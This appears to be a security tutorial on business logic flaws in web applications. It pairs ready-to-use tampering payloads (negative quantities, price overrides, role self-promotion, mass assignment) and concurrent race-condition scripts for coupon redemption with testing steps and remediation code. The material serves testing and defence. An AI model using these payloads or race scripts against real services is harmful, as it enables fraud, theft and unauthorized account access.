Business logic vulnerability exploitation

Business Logic Flaws: Exploiting Application Workflows

Business logic vulnerabilities including race conditions, state manipulation, workflow bypass, and application-specific logic flaws.

Mar 17, 2026
Updated Dec 11, 2025
2 min read

Introduction

Business logic flaws are vulnerabilities that arise from faulty application design or implementation, allowing attackers to subvert intended workflows. Unlike technical vulnerabilities (SQLi, XSS), these flaws exploit how an application processes data and manages state, making them difficult to detect with automated scanners.

These vulnerabilities are highly application-specific and require deep understanding of the business context. A shopping cart bug that allows negative quantities isn't a coding error—it's a logic failure with financial impact.

Categories of Business Logic Flaws

Workflow Sequence Bypass

Applications often assume users follow intended sequences:

# Normal flow
Step 1: Add to cart      /cart/add
Step 2: Enter shipping   /checkout/shipping
Step 3: Enter payment    /checkout/payment
Step 4: Confirm order    /checkout/confirm

# Attack: Skip payment step
Step 1: Add to cart      /cart/add
Step 2: Enter shipping   /checkout/shipping
Step 4: Confirm order    /checkout/confirm  # Works?

Testing approach:

  1. Map complete application workflows
  2. Attempt to skip steps
  3. Access later steps directly via URL
  4. Modify hidden state parameters

Price/Quantity Manipulation

# Original request
POST /cart/update
{"product_id": 1, "quantity": 2, "price": 99.99}

# Attacks to try:
{"product_id": 1, "quantity": -5, "price": 99.99}     # Negative quantity
{"product_id": 1, "quantity": 2, "price": 0.01}       # Modified price
{"product_id": 1, "quantity": 0.001, "price": 99.99}  # Fractional quantity
{"product_id": 1, "quantity": 99999999}               # Integer overflow

Race Conditions

Exploit time-of-check to time-of-use (TOCTOU) windows:

# Coupon redemption race
import threading
import requests

def redeem_coupon():
    requests.post('https://target.com/coupon/apply',
        json={'code': 'DISCOUNT50'},
        cookies={'session': 'valid_session'})

# Fire 50 requests simultaneously
threads = [threading.Thread(target=redeem_coupon) for _ in range(50)]
for t in threads:
    t.start()
for t in threads:
    t.join()

# Check if coupon was applied multiple times

Common race condition scenarios:

  • Coupon/promo code redemption
  • Gift card balance withdrawal
  • Vote/like systems
  • Account balance operations
  • File upload/process operations

Limit Bypass

# Download limit bypass
# Original: 5 downloads per day
GET /file/download/123 → "Download limit reached"

# Bypasses:
# - Multiple sessions/accounts
# - Clear cookies between requests
# - Different IP addresses
# - Manipulate counter in client-side storage

# Rate limit bypass via concurrent requests
# Send 100 requests before rate limit kicks in

Privilege Escalation via Business Logic

# Organization hierarchy bypass
# User is employee, tries to access manager functions

POST /organization/team/add-member
{"team_id": 123, "user_id": 456, "role": "manager"}

# Self-promotion
PUT /user/profile
{"role": "admin", "permissions": ["all"]}

# Department transfer to privileged department
PUT /user/profile
{"department": "IT-Admin"}

E-commerce Logic Flaws

Cart Manipulation

# Price override
POST /cart
{"product_id": 1, "price": 0.01}

# Quantity abuse
POST /cart
{"product_id": 1, "quantity": -10}  # Negative = credit?

# Currency confusion
POST /cart
{"product_id": 1, "currency": "JPY"}  # $100 → ¥100?

# Decimal precision
POST /cart
{"product_id": 1, "quantity": 0.0001}

Coupon/Discount Abuse

1. Apply coupon: SAVE20 (20% off)
2. Remove item from cart
3. Re-add item
4. Apply another coupon: SUMMER10
   → Both discounts applied?

# Coupon stacking
# Coupon code reuse across accounts
# Referral code self-referral
# Gift card balance manipulation

Checkout Flow Exploitation

# Order completion manipulation
POST /checkout/complete
{
  "order_id": 123,
  "payment_status": "completed",
  "total": 0.00
}

# Shipping address swap after payment
# Gift card balance check during async payment
# Cancel order but keep digital goods access

Authentication Logic Flaws

Account Recovery Abuse

# Password reset token reuse
1. Request reset for [email protected]
2. Request reset for [email protected]
3. Use attacker's token link but change email param to victim

# Security question bypass
# Answer enumeration via response timing
# Case sensitivity differences in answers

Registration Flaws

# Email verification bypass
POST /register
{"email": "[email protected]", "password": "attacker123"}
# If email verification is weak/bypassable

# Duplicate account creation
# Create [email protected] if validation only checks exact match
POST /register
{"email": "[email protected] ", "password": "x"}  # Trailing space
{"email": "[email protected]", "password": "x"}   # Case difference

MFA Logic Flaws

# MFA bypass via alternate flows
1. Login with password → MFA required
2. "Forgot password" → Reset password → No MFA on reset flow
3. OAuth login → No MFA for linked accounts

# Backup code abuse
# Unlimited guesses on backup codes
# Backup codes not invalidated after use

API Business Logic

Mass Assignment

# User profile update
PUT /api/user/profile
{
  "name": "John",
  "email": "[email protected]",
  # Hidden fields that might be accepted:
  "role": "admin",
  "balance": 99999,
  "verified": true,
  "subscription_tier": "enterprise"
}

Batch Operation Abuse

# Batch endpoint with mixed authorization
POST /api/batch
{
  "requests": [
    {"method": "GET", "path": "/users/1"},      # Own profile (allowed)
    {"method": "GET", "path": "/users/2"},      # Other user (blocked?)
    {"method": "DELETE", "path": "/users/2"}    # Delete other (blocked?)
  ]
}

Filter/Search Abuse

# Export all data via search
GET /api/users?limit=999999

# Filter bypass
GET /api/orders?user_id=*
GET /api/orders?status=all
GET /api/orders?include_deleted=true

Testing Methodology

1. Understand the Business

  • What is the application's purpose?
  • What are valuable assets (money, data, access)?
  • What workflows exist?
  • What constraints should exist?

2. Map Workflows

Document each multi-step process:
- Registration → Verification → Login
- Browse → Cart → Checkout → Payment → Confirm
- Submit → Review → Approve → Publish

3. Identify Trust Boundaries

  • What inputs are validated?
  • Where are authorization checks?
  • What state is stored client-side?
  • What operations are atomic?

4. Test Edge Cases

- Negative numbers
- Zero values
- Boundary values (MAX_INT, etc.)
- Empty strings vs null
- Special characters
- Unicode variations
- Time-based variations

5. Race Condition Testing

# Turbo Intruder (Burp extension)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=100,
                          requestsPerConnection=1,
                          pipeline=False)

    for i in range(100):
        engine.queue(target.req, gate='race')

    engine.openGate('race')

Impact Examples

Flaw TypeImpact
Price manipulationFinancial loss
Race conditionDouble spending, unlimited rewards
Workflow bypassFree products/services
Privilege escalationUnauthorized access
State manipulationAccount takeover

Remediation

Server-Side Validation

# Always validate business rules server-side
def checkout(cart, payment):
    # Recalculate total from product database
    actual_total = sum(
        Product.get(item.id).price * item.quantity
        for item in cart.items
    )

    # Validate payment matches
    if payment.amount != actual_total:
        raise ValueError("Payment amount mismatch")

Atomic Operations

# Use database transactions
with db.transaction():
    # Check balance
    balance = get_balance(user_id)
    if balance < amount:
        raise InsufficientFunds()

    # Deduct atomically
    update_balance(user_id, balance - amount)
    create_transaction(user_id, amount)

Rate Limiting

from functools import wraps
from redis import Redis

redis = Redis()

def rate_limit(key_func, limit, period):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            key = key_func(*args, **kwargs)
            current = redis.incr(key)
            if current == 1:
                redis.expire(key, period)
            if current > limit:
                raise RateLimitExceeded()
            return f(*args, **kwargs)
        return wrapper
    return decorator

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

OWASP Resources

Security Resources

Last updated on